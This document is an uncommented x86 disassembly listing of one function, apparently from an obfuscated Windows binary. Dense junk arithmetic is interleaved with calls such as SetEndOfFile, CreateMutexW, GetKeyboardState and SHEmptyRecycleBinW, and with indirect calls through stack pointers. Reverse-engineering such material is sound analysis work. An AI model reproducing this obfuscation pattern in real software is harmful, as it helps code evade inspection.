mov dword [ecx], eax
movsx edx, byte [ebp - 0x151]
movsx ecx, byte [ebp - 0x1b1]
shl edx, cl
mov byte [ebp - 0x65], dl
mov ax, word [ebp - 0x268]
mov word [ebp - 0x14], ax
mov dword [ebp - 0x164], 0x5649a4ef
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
or edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xb4]
mov eax, dword [eax]
and eax, dword [ecx]
cmp edx, eax
jb 0x407878
mov cl, byte [ebp - 0x1b1]
mov byte [ebp - 0x320], cl
cmp byte [ebp - 0x320], 0
je 0x407809
cmp byte [ebp - 0x320], 0x2e
je 0x407860
jmp 0x407878
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xec]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1dc]
mov word [ecx], ax
mov dl, byte [ebp - 0x165]
mov byte [ebp - 0x241], dl
mov eax, dword [ebp - 0x2c8]
sub eax, dword [0x771664]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x1c]
add edx, dword [ecx]
mov dword [ebp - 0x174], edx
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x178], eax
jmp 0x407878
movzx ecx, byte [ebp - 0x1a9]
mov edx, dword [ebp - 0xdc]
movzx eax, byte [edx]
add ecx, eax
mov byte [0x41b006], cl
mov ecx, dword [ebp - 0x164]
sub ecx, 0x564993c1
mov dword [ebp - 0x164], ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x5c]
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x1b8]
mov dword [ebp - 0x1d0], ecx
mov edx, dword [ebp - 0x164]
mov dword [ebp - 0x230], edx
mov eax, dword [ebp - 0xd0]
mov ecx, dword [0x7705d0]
and ecx, dword [eax]
mov edx, dword [ebp - 0x14c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x284]
movsx ecx, word [eax]
mov edx, dword [ebp - 0xe0]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x158]
movsx eax, word [edx]
movsx edx, word [0x41b004]
sub eax, edx
cmp ecx, eax
jl 0x40791d
movzx eax, word [ebp - 0x27c]
push eax
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x1dc]
movzx eax, word [edx]
push eax
call fcn.00404390
jmp 0x407948
mov edx, dword [ebp - 0xf8]
sub edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x2c8]
shl eax, cl
cmp edx, eax
jae 0x407948
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c8]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
call fcn.00402a80
mov cx, word [ebp - 0x1a0]
mov word [ebp - 0x234], cx
movzx edx, byte [ebp - 0x105]
movzx eax, byte [ebp - 0x165]
or edx, eax
mov ecx, dword [ebp - 0x1c0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0xc0]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
mov dword [ebp - 0x38], ecx
mov dx, word [ebp - 0x268]
mov word [0x771668], dx
movsx eax, byte [ebp - 0x26d]
movsx ecx, byte [ebp - 0x1b1]
and eax, ecx
mov byte [ebp - 0x151], al
mov edx, dword [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x164]
push eax
mov ecx, dword [ebp - 0xe8]
push ecx
call dword [ebp - 0xcc]
mov dword [ebp - 0x2d0], eax
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0
je 0x4079f5
jmp 0x407a2f
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0x50], ecx
movzx edx, byte [ebp - 0x251]
mov eax, dword [ebp - 0x1c8]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0xd1], dl
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
sub eax, dword [ebp - 0x5c]
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x218], ecx
jmp 0x407a4b
push 0x7e
mov edx, dword [ebp - 0x10c]
push edx
mov eax, dword [ebp - 0x264]
push eax
call dword [sym.imp.USER32.dll_GetDCEx]
mov dword [ebp - 0x2cc], eax
mov ecx, dword [ebp - 0x2d0]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x25c]
mov eax, dword [ebp - 0x14c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x114], ecx
lea edx, [ebp - 0x30]
mov dword [ebp - 0x1a4], edx
movzx eax, word [ebp - 0x274]
mov ecx, dword [ebp - 0x50]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xec]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x234]
add edx, ecx
cmp eax, edx
jg 0x407aef
mov edx, dword [ebp - 0x1a4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x14c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1dc]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x198]
and eax, ecx
mov word [ebp - 0x27c], ax
movzx edx, byte [0x41b006]
movzx eax, byte [ebp - 0x165]
add edx, eax
mov ecx, dword [ebp - 0x1c8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x5c]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x248], 0xed3e96c9
mov ecx, dword [ebp - 0x1a4]
mov edx, dword [ebp - 0x21c]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x1a4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x21c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xdc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd1]
sar eax, cl
movzx ecx, byte [0x41b006]
mov edx, dword [ebp - 0x1c0]
movzx edx, byte [edx]
sub ecx, edx
cmp eax, ecx
jle 0x407b7a
mov eax, dword [0x771664]
push eax
mov ecx, dword [ebp - 0xe0]
mov dx, word [ecx]
mov cl, byte [ebp - 0x1a9]
call fcn.00404440
mov edx, dword [ebp - 0xb0]
mov eax, dword [edx]
and eax, dword [ebp - 0x16c]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0xc4], 0x3d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x178]
mov dx, word [ecx]
mov word [ebp - 0x140], dx
mov eax, dword [ebp - 0x1c8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x160]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x251], cl
lea ecx, [ebp - 0x1b1]
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0x158]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x14]
add eax, ecx
mov edx, dword [ebp - 0x158]
mov word [edx], ax
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [0x7705dc], edx
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x15c], eax
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ebp - 0x48]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x174], eax
mov ecx, dword [ebp - 0xec]
mov dx, word [ecx]
mov word [ebp - 0x2bc], dx
mov dword [ebp - 0x118], 0x922104
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
mov dword [ebp - 0x328], ecx
cmp dword [ebp - 0x328], 0
je 0x407c76
cmp dword [ebp - 0x328], 0x2ea1
je 0x407c4c
jmp 0x40820b
mov edx, dword [ebp - 0x28]
mov eax, dword [0x771664]
add eax, dword [edx]
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0x2c8]
push ecx
mov edx, dword [ebp - 0x64]
mov cl, byte [ebp - 0x229]
call fcn.00404440
jmp 0x40820b
mov edx, dword [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x180]
and ecx, dword [eax]
mov dword [ebp - 0x220], ecx
mov edx, dword [ebp - 0x118]
or edx, 0x441029
mov dword [ebp - 0x118], edx
lea eax, [ebp - 0x34]
mov dword [ebp - 0x144], eax
mov ecx, dword [ebp - 0x1c8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xdc]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x229], dl
movzx eax, word [ebp - 0x27c]
movzx ecx, word [ebp - 0x2bc]
cdq
idiv ecx
mov word [0x7705e0], ax
mov edx, dword [ebp - 0xc4]
cmp edx, dword [ebp - 0x118]
jge 0x408059
mov eax, dword [ebp - 0x5c]
xor eax, dword [ebp - 0x218]
mov dword [ebp - 0xf8], eax
mov edx, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x30]
sar edx, cl
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x15c]
mov dl, byte [ecx]
mov byte [ebp - 0xc5], dl
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x14c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x21c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x21c]
mov edx, dword [ebp - 0xbc]
sub edx, dword [ecx]
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x228]
add eax, dword [ebp - 0xf0]
mov dword [ebp - 0xb8], eax
mov cl, byte [ebp - 0x248]
mov dl, byte [ebp - 0xc5]
rol dl, cl
mov byte [ebp - 0xc5], dl
mov eax, dword [ebp - 0x1b0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x151]
and ecx, edx
mov byte [ebp - 0x65], cl
mov eax, dword [ebp - 0xe0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x284]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x158]
mov word [edx], cx
movzx eax, byte [ebp - 0xc5]
sub eax, dword [ebp - 0x248]
mov byte [ebp - 0xc5], al
movzx ecx, byte [ebp - 0xd1]
mov edx, dword [ebp - 0xdc]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x1a9], cl
movzx ecx, word [ebp - 0x198]
movzx edx, word [0x7705cc]
sub ecx, edx
mov word [0x7705e0], cx
mov eax, dword [ebp - 0x20]
mov cl, byte [ebp - 0xc5]
mov byte [eax], cl
lea edx, [ebp - 0xa4]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x2c8]
sub edx, dword [ecx]
mov dword [ebp - 0x218], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb0]
add ecx, dword [edx]
mov dword [ebp - 0x5c], ecx
mov eax, dword [ebp - 0x178]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x50]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x1dc]
mov word [edx], cx
mov eax, dword [ebp - 0x15c]
add eax, 1
mov dword [ebp - 0x15c], eax
movzx ecx, byte [ebp - 0x165]
mov edx, dword [ebp - 0x1c8]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0xdc]
mov byte [edx], cl
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [0x7705d0]
sub ecx, dword [eax]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb4]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0xf8], ecx
mov edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0xd0]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0xbc], edx
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x150]
sar edx, cl
mov dword [ebp - 0x180], edx
movzx eax, word [ebp - 0x234]
movzx ecx, word [ebp - 0x27c]
xor eax, ecx
mov word [0x7705e0], ax
mov edx, dword [ebp - 0x160]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd1]
and eax, ecx
mov edx, dword [ebp - 0x160]
mov byte [edx], al
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2c8]
mov edx, dword [ebp - 0xb4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x1a4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x1a8], edx
mov eax, dword [ebp - 0x248]
imul eax, eax, 0x20db
mov dword [ebp - 0x248], eax
mov ecx, dword [ebp - 0x1b0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x1b1]
and edx, eax
mov byte [ebp - 0x65], dl
mov ecx, dword [ebp - 0x284]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x64]
add edx, eax
mov word [ebp - 0x14], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x260], eax
movzx ecx, byte [0x41b006]
movzx edx, byte [ebp - 0x18d]
sub ecx, edx
mov eax, dword [ebp - 0x1c0]
mov byte [eax], cl
mov ecx, dword [ebp - 0x248]
add ecx, 0x3a27
mov dword [ebp - 0x248], ecx
mov edx, dword [ebp - 0x50]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x274]
add eax, ecx
mov word [ebp - 0x110], ax
mov edx, dword [0x771664]
add edx, dword [ebp - 0x2c8]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x48]
add ecx, dword [edx]
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc4]
add ecx, 0x1378d
mov dword [ebp - 0xc4], ecx
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
or eax, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x144]
mov dword [ecx], eax
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x25c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xb8]
sar edx, cl
mov dword [ebp - 0x180], edx
mov eax, dword [ebp - 0x160]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x55]
xor ecx, edx
mov byte [ebp - 0x241], cl
mov eax, dword [ebp - 0x178]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xec]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x27c], cx
jmp 0x407ce6
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x12c], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
sub eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1a8]
sub eax, dword [edx]
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x2d0]
add ecx, 0xb0
mov dword [ebp - 0x124], ecx
mov edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [0x7705d8], ecx
mov edx, dword [ebp - 0x178]
mov ax, word [edx]
mov word [ebp - 0x188], ax
mov ecx, dword [ebp - 0xe4]
add ecx, 0xb0
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x2283
je 0x4080ec
jmp 0x408127
movzx ecx, byte [ebp - 0x241]
push ecx
call fcn.00404410
mov edx, dword [ebp - 0x1c8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x160]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0xdc]
mov byte [ecx], al
movsx edx, byte [ebp - 0x1b1]
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x65], dl
movsx edx, word [ebp - 0x64]
mov eax, dword [ebp - 0x284]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x14], dx
mov edx, dword [ebp - 0xe0]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x158]
movsx edx, word [ecx]
sub eax, edx
movsx ecx, word [ebp - 0x268]
movsx edx, word [ebp - 0x64]
add ecx, edx
cmp eax, ecx
jl 0x40819c
mov dword [ebp - 0x60], 0x771664
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xec]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x26c], ax
mov eax, dword [ebp - 0xdc]
mov cl, byte [eax]
mov byte [ebp - 0x15], cl
jmp 0x4081b0
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xb0]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
lea ecx, [ebp - 0x124]
push ecx
call dword [ebp - 0x2d0]
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x25c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
mov dword [ebp - 0x2d4], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x2c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0xf8], eax
lea ecx, [ebp - 0xa4]
push ecx
mov edx, dword [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 0xdc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x160]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x1c0]
mov byte [edx], cl
mov eax, dword [ebp - 0x180]
add eax, dword [ebp - 0xac]
mov dword [ebp - 0x128], eax
jmp 0x408311
mov ecx, dword [ebp - 0x16c]
sub ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x2c8]
add edx, dword [0x771664]
cmp ecx, edx
je 0x408311
movzx eax, word [ebp - 0x198]
mov ecx, dword [ebp - 0x1dc]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x224]
mov word [ecx], ax
movzx edx, byte [ebp - 0xd1]
movzx eax, byte [ebp - 0x1a9]
sub edx, eax
mov byte [ebp - 0x55], dl
movsx edx, word [ebp - 0x100]
mov eax, dword [ebp - 0xe0]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x64], dx
mov ecx, dword [ebp - 0x148]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x1b1]
sar edx, cl
mov byte [ebp - 0x26d], dl
mov eax, dword [ebp - 0x2c8]
or eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x228], ecx
movzx edx, byte [ebp - 0x55]
mov eax, dword [ebp - 0x1c0]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0xd1], dl
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x27c]
add eax, ecx
mov edx, dword [ebp - 0x224]
mov word [edx], ax
mov ecx, dword [0x771664]
call fcn.00408710
jmp 0x4083a1
movzx eax, byte [ebp - 0x229]
mov ecx, dword [ebp - 0xdc]
movzx ecx, byte [ecx]
sar eax, cl
movzx edx, byte [ebp - 0x105]
movzx ecx, byte [ebp - 0x1a9]
and edx, ecx
cmp eax, edx
jle 0x4083a1
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x180]
sar edx, cl
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x16c]
or ecx, dword [eax]
mov dword [ebp - 0x5c], ecx
lea edx, [ebp - 0x2c8]
push edx
push 0x68
push 0xcd
mov eax, dword [ebp - 0x2c0]
push eax
call dword [sym.imp.USER32.dll_GetMenuBarInfo]
mov dword [ebp - 0x238], eax
mov ecx, dword [ebp - 0x160]
movzx edx, byte [ecx]
movzx ecx, byte [0x41b006]
shl edx, cl
mov eax, dword [ebp - 0x1c0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x16c]
add edx, dword [ecx]
mov eax, dword [ebp - 0xb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ebp - 0xb4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x180]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x150]
add ecx, dword [eax]
mov dword [ebp - 0x220], ecx
movzx edx, byte [ebp - 0x165]
mov eax, dword [ebp - 0x160]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x251], dl
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1a0]
sub eax, ecx
mov edx, dword [ebp - 0x224]
mov word [edx], ax
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x2c]
add ecx, dword [edx]
mov dword [0x771664], ecx
mov eax, dword [ebp - 0xb8]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0xf0], eax
jmp 0x4084d1
movsx ecx, byte [ebp - 0x26d]
movsx edx, byte [ebp - 0x65]
sub ecx, edx
mov eax, dword [ebp - 0x3c]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x165]
push ecx
call fcn.00404410
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xec]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x26c], ax
movzx eax, byte [ebp - 0x105]
movzx ecx, byte [ebp - 0x55]
or eax, ecx
mov byte [ebp - 0x18d], al
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
push eax
movzx ecx, byte [ebp - 0x65]
push ecx
mov edx, dword [ebp - 0xec]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x224]
movzx edx, word [ecx]
push edx
call fcn.00404390
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x65]
sub edx, eax
mov ecx, dword [ebp - 0x148]
mov byte [ecx], dl
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xdc]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x105], al
movzx eax, word [ebp - 0x27c]
movzx ecx, word [ebp - 0x26c]
add eax, ecx
mov word [ebp - 0x198], ax
mov edx, dword [0x771664]
sub edx, dword [ebp - 0x2c8]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x16c]
mov edx, dword [ebp - 0xb4]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x55]
movzx ecx, byte [ebp - 0x18d]
sub eax, ecx
mov byte [ebp - 0x105], al
mov edx, dword [ebp - 0xec]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x198]
xor eax, ecx
mov word [ebp - 0x26c], ax
mov edx, dword [ebp - 0x1dc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x224]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0xec]
mov word [ecx], ax
mov edx, dword [ebp - 0x160]
movzx eax, byte [edx]
push eax
call fcn.00404410
mov ecx, dword [ebp - 0x1b8]
add ecx, dword [ebp - 0xb8]
mov dword [ebp - 0xbc], ecx
mov edx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
add eax, dword [ebp - 0xb8]
mov dword [ebp - 0xf0], eax
mov ecx, dword [ebp - 0x3c]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x17c]
push eax
mov ecx, dword [ebp - 0x21c]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
push ecx
call fcn.00404350
add esp, 0x10
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
push eax
call fcn.00404410
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ebp - 0xd0]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5c]
or edx, dword [ebp - 0x16c]
mov dword [ebp - 0x2c8], edx
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xc0]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
mov ecx, dword [ebp - 0x160]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1a9]
xor edx, eax
mov byte [ebp - 0x105], dl
movzx ecx, word [0x7705c8]
mov edx, dword [ebp - 0xec]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x1a0], cx
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x5c]
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0xf0]
mov edx, dword [ebp - 0x14c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xac]
mov dword [ebp - 0xf0], ecx
push 0x3f
mov edx, dword [ebp - 0x1cc]
push edx
mov eax, dword [ebp - 0x104]
push eax
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x2c8]
add ecx, 0x6385
mov edx, dword [ebp - 0x2c]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x65]
push eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
push eax
call fcn.00404350
add esp, 0x10
mov eax, dword [ebp - 0x220]
mov esp, ebp
pop ebp
ret